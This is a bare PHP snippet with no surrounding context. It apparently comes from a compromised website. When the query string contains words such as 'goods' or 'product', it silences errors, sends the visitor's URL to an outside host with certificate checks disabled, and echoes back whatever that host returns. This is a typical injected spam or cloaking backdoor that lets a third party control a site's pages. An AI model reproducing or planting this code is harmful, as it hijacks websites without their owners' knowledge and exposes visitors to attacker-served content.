if(preg_match("/.*(goods).*/i",$_SERVER['QUERY_STRING'])||preg_match("/.*(games).*/i",$_SERVER['QUERY_STRING'])||preg_match("/.*(help).*/i",$_SERVER['QUERY_STRING'])||preg_match("/.*(product).*/i",$_SERVER['QUERY_STRING'])){ error_reporting(0); set_time_limit(0); $requestUrl = "https:/6.manilahot.com/"; function getProtocol() { return isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) ? $_SERVER["HTTP_X_FORWARDED_PROTO"] : ( isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https" : "http"); } function getSslPage($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $result = curl_exec($ch); curl_close($ch); return $result; } $domain = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : ""; $file = (isset($_SERVER["REQUEST_URI"]) && $_SERVER["REQUEST_URI"] != "") ? $_SERVER["REQUEST_URI"] : $_SERVER["HTTP_X_REWRITE_URL"]; $url = getProtocol() . "://" . $domain . $file; $getUrl = $requestUrl . "?url=" . $url; $content = getSslPage($getUrl); echo $content; }